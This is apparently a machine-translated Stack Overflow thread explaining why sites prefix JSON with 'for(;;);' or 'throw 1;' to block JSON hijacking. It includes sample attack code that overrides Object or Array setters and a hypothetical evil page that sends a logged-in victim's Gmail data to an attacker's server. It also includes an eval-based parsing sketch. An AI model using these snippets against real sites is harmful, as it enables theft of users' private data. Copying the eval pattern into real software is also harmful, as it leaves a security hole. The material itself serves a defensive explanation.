Почему люди ставят код вроде "throw 1; <dont be evil>" и "for(;;);" перед ответами JSON?

Возможный дубликат:
Почему Google работает в то время как (1); на их ответы JSON?

Google возвращает JSON, как это:

throw 1; <dont be evil> { foo: bar}

а в фейсбуке у ajax есть json вот так:

for(;;); {"error":0,"errorSummary": ""}
  • Почему они помещают код, который остановит выполнение и сделает недействительным json?
  • Как они анализируют его, если он недействителен, и потерпит крах, если вы попытаетесь его оценить?
  • Они только удаляют это из последовательности (кажется дорогим)?
  • Есть ли какие-либо преимущества в безопасности?

В ответ на это в целях безопасности:

Если скребок находится в другом домене, им придется использовать script тег для получения данных, потому что XHR не будет работать междоменный. Даже без for(;;); как злоумышленник получит данные? Она не присваивается переменной, поэтому не будет ли она собираться мусором, потому что на нее нет ссылок?

В основном, чтобы получить кросс-домен данных они должны были бы сделать

<script src="http://target.com/json.js"></script>

Но даже без подготовленного сценария сбоя злоумышленник не может использовать какие-либо данные Json, не присвоив их переменной, к которой вы можете обращаться глобально (это не так в этих случаях). Код аварии эффективно ничего не делает, потому что даже без него им приходится использовать серверные сценарии для использования данных на своем сайте.

4 ответа

Решение

Даже без for(;;); как злоумышленник получит данные?

Атаки основаны на изменении поведения встроенных типов, в частности Object а также Array, изменяя их функцию конструктора или его prototype, Затем, когда целевой JSON использует {...} или же [...] построить, они будут собственными версиями этих объектов злоумышленника с потенциально неожиданным поведением.

Например, вы можете взломать свойство setter в Object, что бы выдавать значения, записанные в объектных литералах:

Object.prototype.__defineSetter__('x', function(x) {
    alert('Ha! I steal '+x);
});

Тогда когда <script> было указано на какой-то JSON, который использовал это имя свойства:

{"x": "hello"}

Значение "hello" будет утечка.

То, как литералы массивов и объектов вызывают вызовы сеттеров, является спорным. Firefox удалил поведение в версии 3.5 в ответ на публичные атаки на громких веб-сайтах. Однако на момент написания Safari (4) и Chrome (5) все еще уязвимы для этого.

Еще одна атака, которую теперь запрещают все браузеры, - переопределить функции конструктора:

Array= function() {
    alert('I steal '+this);
};

[1, 2, 3]

А пока, реализация свойств IE8 (основанная на стандарте ECMAScript Fifth Edition и Object.defineProperty) в настоящее время не работает на Object.prototype или же Array.prototype,

Но помимо защиты прошлых браузеров, возможно, что расширения JavaScript вызывают в будущем больше потенциальных утечек подобного рода, и в этом случае chaff также должен защищать от них.

Подумайте, после проверки вашей учетной записи GMail, что вы зашли на мою злую страницу:

<script type="text/javascript">
Object = function() {
  ajaxRequestToMyEvilSite(JSON.serialize(this));
}
</script>
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script>

Что произойдет сейчас, так это то, что код Javascript, исходящий от Google, который, по мнению автора, будет доброкачественным и сразу же выйдет из области видимости, будет фактически размещен на моем злобном сайте. Предположим, что URL-адрес, запрошенный в теге script, отправляется (поскольку ваш браузер предоставит правильный файл cookie, Google будет правильно думать, что вы вошли в свой почтовый ящик):

({
  messages: [
    {
      id: 1,
      subject: 'Super confidential information',
      message: 'Please keep this to yourself: the password is 42'
    },{
      id: 2,
      subject: 'Who stole your password?',
      message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42'
    }
  ]
})

Теперь я буду публиковать сериализованную версию этого объекта на мой злой сервер. Спасибо!

Чтобы этого не произошло, нужно просто скомпоновать ваши ответы JSON и расшифровать их, когда вы, из того же домена, можете манипулировать этими данными. Если вам нравится этот ответ, пожалуйста, примите тот, который опубликовал bobince.

РЕДАКТИРОВАТЬ

Эти строки обычно называются "неразборчивым искажением" и используются для исправления уязвимости утечки информации, которая влияет на спецификацию JSON. Эта атака является реальным миром, и Джеремия Гроссман обнаружил уязвимость в Gmail. Mozilla также считает, что это уязвимость в спецификации JSON, и она была исправлена ​​в Firefox 3. Однако, поскольку эта проблема все еще затрагивает другие браузеры, это "непонятное искажение" требуется, потому что это совместимый патч.

Ответ Бобице имеет техническое объяснение этой атаки, и это правильно.

Как они анализируют его, если он недействителен, и потерпит крах, если вы попытаетесь его оценить?

Это функция, которая вылетит, если вы попытаетесь eval Это. eval разрешает произвольный код JavaScript, который можно использовать для атаки межсайтового скриптинга.

Они только удаляют это из последовательности (кажется дорогим)?

Я так себе представляю. Вероятно, что-то вроде:

function parseJson(json) {
   json = json.replace("throw 1; <dont be evil>", "");
   if (/* regex to validate the JSON */) {
       return eval(json);
   } else {
       throw "XSS";
   }
}

Разговор "не будь злым" мешает разработчикам использовать eval непосредственно вместо более безопасной альтернативы.

Другие вопросы по тегам